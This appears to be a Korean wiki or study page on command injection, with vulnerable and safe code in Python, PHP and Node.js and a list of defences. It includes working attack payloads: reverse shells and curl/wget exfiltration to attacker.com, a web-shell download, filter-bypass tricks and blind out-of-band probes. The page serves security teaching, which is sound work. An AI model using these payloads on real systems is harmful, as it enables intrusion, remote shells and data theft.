전체 그래프
OWASP Top 10

Command Injection

web-securityowaspinjectionattack

상위: Web Security

요약

Command Injection(명령어 주입)은 사용자 입력이 시스템 명령어에 포함될 때, 공격자가 임의의 OS 명령어를 실행하는 공격입니다. 서버 완전 장악(RCE)이 가능하여 매우 위험합니다.

공격 원리

취약한 코드

import os

def ping_host(host):
    # 사용자 입력을 명령어에 직접 포함 (위험!)
    result = os.system(f"ping -c 3 {host}")
    return result

공격

입력: 8.8.8.8; cat /etc/passwd
실행되는 명령어: ping -c 3 8.8.8.8; cat /etc/passwd

명령어 연결 연산자

연산자동작예시
;순차 실행cmd1; cmd2
&&앞 명령 성공 시 실행cmd1 && cmd2
||앞 명령 실패 시 실행cmd1 || cmd2
|파이프 (출력 전달)cmd1 | cmd2
&백그라운드 실행cmd1 & cmd2
`cmd`명령어 치환echo \whoami``
$(cmd)명령어 치환echo $(whoami)
\n줄바꿈cmd1%0acmd2

공격 페이로드

기본 공격

; ls -la
; cat /etc/passwd
; whoami
; id

리버스 쉘

; bash -i >& /dev/tcp/attacker.com/4444 0>&1
; nc -e /bin/sh attacker.com 4444
; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

데이터 유출

; curl http://attacker.com/?data=$(cat /etc/passwd | base64)
; wget http://attacker.com/$(whoami)

파일 생성/수정

; echo "hacked" > /var/www/html/pwned.txt
; curl http://attacker.com/shell.php -o /var/www/html/shell.php

우회 기법

공백 우회

# $IFS 사용 (Internal Field Separator)
cat${IFS}/etc/passwd
cat$IFS/etc/passwd

#  사용
cat%09/etc/passwd

# {} 사용
{cat,/etc/passwd}

명령어 우회

# 문자열 연결
c'a't /etc/passwd
c"a"t /etc/passwd
c\at /etc/passwd

# 변수 사용
a=c;b=at;$a$b /etc/passwd

# Base64 인코딩
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash

# Hex 인코딩
echo -e "\x63\x61\x74 /etc/passwd" | bash

슬래시 우회

# 환경 변수 사용
cat ${HOME:0:1}etc${HOME:0:1}passwd

# printf 사용
cat $(printf "\x2fetc\x2fpasswd")

취약한 기능

기능취약점
Ping/Traceroute네트워크 진단 도구
파일 변환ImageMagick, FFmpeg
PDF 생성wkhtmltopdf
Git 연동git clone, pull
압축/해제zip, tar
메일 발송sendmail

취약한 코드 vs 안전한 코드

Python

취약:

import os
os.system(f"ping {user_input}")
os.popen(f"ping {user_input}")

안전:

import subprocess

# 리스트로 전달 ( 해석 없음)
subprocess.run(['ping', '-c', '3', user_input], shell=False)

# 또는 입력값 검증
import re
if not re.match(r'^[\w.-]+$', user_input):
    raise ValueError("Invalid hostname")

PHP

취약:

system("ping " . $_GET['host']);
exec("ping " . $_GET['host']);
shell_exec("ping " . $_GET['host']);
passthru("ping " . $_GET['host']);

안전:

$host = escapeshellarg($_GET['host']);
system("ping " . $host);

// 또는 화이트리스트
$allowed = ['8.8.8.8', '1.1.1.1'];
if (!in_array($_GET['host'], $allowed)) {
    die("Not allowed");
}

Node.js

취약:

const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);

안전:

const { execFile } = require('child_process');
execFile('ping', ['-c', '3', userInput], callback);

방어 방법

1. 명령어 실행 회피 (가장 좋음)

# OS 명령어 대신 라이브러리 사용
import ping3
ping3.ping(host)  # 외부 명령어 호출 없음

2. 화이트리스트 검증

ALLOWED_HOSTS = ['google.com', '8.8.8.8', '1.1.1.1']

def ping_host(host):
    if host not in ALLOWED_HOSTS:
        raise ValueError("허용되지 않은 호스트")
    subprocess.run(['ping', '-c', '3', host])

3. 입력값 검증

import re

def validate_hostname(hostname):
    # 알파벳, 숫자, , 하이픈만 허용
    pattern = r'^[a-zA-Z0-9][a-zA-Z0-9.-]{0,253}[a-zA-Z0-9]$'
    if not re.match(pattern, hostname):
        raise ValueError("Invalid hostname")
    return hostname

4. 파라미터화된 실행

import subprocess

# shell=False로 파라미터화
subprocess.run(['ping', '-c', '3', host], shell=False)

5. 샌드박스/컨테이너

# Docker로 격리
docker run --rm --network=none alpine ping -c 3 $host

Blind Command Injection

서버 응답에 결과가 보이지 않을 때:

Time-based

; sleep 10  # 응답 10초 지연되면 취약
; ping -c 10 127.0.0.1

Out-of-band

# DNS 요청
; nslookup $(whoami).attacker.com
; curl http://attacker.com/$(id | base64)

파일 생성

; touch /var/www/html/pwned.txt
# 이후 http://target.com/pwned.txt 접근

테스트 페이로드

# 기본
; whoami
| id
`id`
$(id)

# URL 인코딩
%3B%20whoami
%7C%20id

# 우회
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd

# Blind
;sleep 5
;curl http://attacker.com

테스트 도구

도구용도
CommixCommand Injection 자동화
Burp Suite수동 테스트
OWASP ZAP자동 스캐너

Commix 사용

# 기본 테스트
commix -u "http://target.com/ping.php?host=INJECT_HERE"

# POST 요청
commix -u "http://target.com/api" --data "host=INJECT_HERE"

관련 공격

참고 자료